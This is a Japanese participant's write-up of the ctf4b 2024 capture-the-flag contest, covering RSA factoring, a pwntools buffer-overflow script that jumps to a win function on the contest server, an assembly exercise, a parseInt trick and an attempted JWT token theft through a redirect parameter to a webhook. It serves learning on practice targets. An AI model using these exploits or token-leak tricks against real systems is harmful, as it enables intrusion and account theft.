概要
久しぶりの投稿です。
本記事は、先日末2024/6/15 (土) 14:00 JST から 2024/6/16 (日) 14:00 JST で実施されたctf4b 2024のwriteUpです。
とりあえず、回答できた問題を中心に記載していきます。
結果
今回も1マンチームで参加し、
最終結果は、402/962 th、226 point でした。
要復習ですね・・・
環境
Windows + Kalilinux
プログラムはすべてPython3
その他、各種ツール
Welcome
いつも通り、Discodeに。
解答送信する際に一度サーバーが落ちたのか、不安定になっていて解答が何度も送信できず・・・
Crypt
Safe Prime
Using a safe prime makes RSA secure, doesn't it?
Safe_Prime.tar.gz 774280c0d7d278ed01f537b13014fa15b4dc1d3a
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
n
,e
,c
がすでに明示されています。
さらに、q
がp
で記述可能な式q=2p+1
で与えられています。
なので、わざわざn
を素因数分解しなくてもq
がp
導出可能です。
以下、p
,q
の導出に使用したコードです。
import gmpy2
gmpy2.get_context().precision = 1000
def find_p_and_q(n):
n = gmpy2.mpz(n)
discriminant = 1 + 8 * n
p = (1 + gmpy2.isqrt(discriminant)) // 4
q = 2 * p + 1
return int(p), int(q)
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
p, q = find_p_and_q(n)
print(f"n = {n}, p = {p}, q = {q}")
p
,q
が分かったので、後はphi
,d
が出せるので、平文m
が導出できますね!
math(未回答)
RSA暗号に用いられる変数に特徴的な条件があるようですね...?
math.tar.gz 2740fceb50df89f4638a1e3b6ded3487a55461fc
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289
from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
x,
p,
q,
) # x, p, q are secret values, please derive them from the provided other values.
import gmpy2
def is_square(n: int):
return gmpy2.isqrt(n) ** 2 == n
assert isPrime(p)
assert isPrime(q)
assert p != q
a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)
n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)
print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")
# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0
前提条件より、p
,q
,x
がシークレット、a
,b
として'p-x',q-x
が与えられていますが・・・除去方法が分からず断念。
Pwnable
simpleoverflow
Cでは、0がFalse、それ以外がTrueとして扱われます。
nc simpleoverflow.beginners.seccon.games 9000
simpleoverflow.tar.gz 02d827ce1b22d3bb285f93d6981e537f34c49e32
問題文の記載の通り、シンプルにオーバーフロー起したらフラグ貰えました。
simpleoverwrite
スタックとリターンアドレスを確認しましょう
nc simpleoverwrite.beginners.seccon.games 9001
simpleoverwrite.tar.gz 98f8e4f182185e9ed40e195c1921561eba79494b
配布された実行ファイルをGhidraなどで確認すると、フラグを出力しているwin関数を発見。
しかし、通常の動作ではwin関数を呼び出していない。
オーバーフローする入力文字数と、win関数のアドレスを調べて、以下のように解答用のコードを作成。無事、フラグを入手できました。
from pwn import *
isOnline = 1
if isOnline==1:
io = remote("simpleoverwrite.beginners.seccon.games", 9001)
else:
io = process("./chall")
io.recvuntil("input:")
io.send(b"a"*18+(0x00000401186).to_bytes(13, "little"))
io.interactive()
reversing
assemble(未回答)
Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!
https://assemble.beginners.seccon.games
assemble.tar.gz d68dd70d722c38f90c8c4a8e8c36be6a94e3fab4
mov
,push
,syscall
のみを利用し、25未満の命令数で、①~④の各ステップをクリアする必要がある。
①~③まではクリアできたが、上記の制約の上でflag.txt
の中身を表示する方法が分からず断念。
アセンブラに弱すぎる・・・
mov rax, 0x123
push rax
mov rax, 0x0a21646c72 ; 'dlr!' + '\n' (Little Endian)
push rax ; RAX をスタックにプッシュ
mov rax, 0x6f6c6c6548 ; 'Hello' (Little Endian)
push rax ; RAX をスタックにプッシュ
; write システムコールの引数を設定
mov rax, 1 ; sys_write の syscall 番号
mov rdi, 1 ; ファイルディスクリプタ 1 (stdout)
mov rsi, rsp ; 文字列のアドレス(スタックポインタ)
mov rdx, 6 ; 書き込むバイト数 ("Hello\n" の長さ)
syscall ; syscall の呼び出し
Misc
getRank
https://getrank.beginners.seccon.games
getRank.tar.gz ac08b24f889e041a5c93491ba2677f219b502f16
単純にBurpsuiteやcurlなどで直接score
となるinput
の値を、条件を満たすように送付すれば良い。
なお配布されたコードを読み進めると、rank1となるための以下の制約・条件が分かった。
- rank1を取得するには、
score
が10**255より大きい値でなければならない - しかし、10**255を超えてしまうと、スコアが減らされてしまう。
- さらに入力が300文字を超えると、そもそも弾かれる
- なお、10**255では、findindexの条件より、rank1を満たせない。
ここでTypescriptの入力とjavasxriptのParseIntが同一の動作をすると思い込み、先に進まず断念。
javascriptでは数値以外は評価されないが、TypescriptのParseIntでは式評価される。
ので、上記の制限を超えないギリギリの値を送るような式(16進数でf
を制限を超えない程度にRank1となる数送れるような値)を送ればOK
Web
wooorker
adminのみflagを取得できる認可サービスを作りました!
https://wooorker.beginners.seccon.games
脆弱性報告bot
wooorker.tar.gz 2911ea65e5bb56cca44780edeae2ccf8c0956a52
JWT問題。
コードを見る限り、guestアカウントの情報しか分からない。
目的として、Admin権限でのJWTトークンの奪取が考えられる。
今回、ログインするページとは別に、Admin権限で自動でログインしてくれるクローラープログラム(脆弱性報告bot)が動いている。
guestアカウントでのログイン後の動作、コードを見るに、ログイン後にトークンが吐き出されている事が分かる。
そのため、このサイトのnext
パラメータにWebhookなどで引っかけてやればトークンが取れる・・・
と想定していましたが、何故かフックせず。断念。
他の方のWriteUpを読んでいても、同じ回答であったため原因究明中。
今後の課題
- そろそろ真面目に、長時間のイベントや競技では、休憩時間を計画してないとマズいと痛感してきています。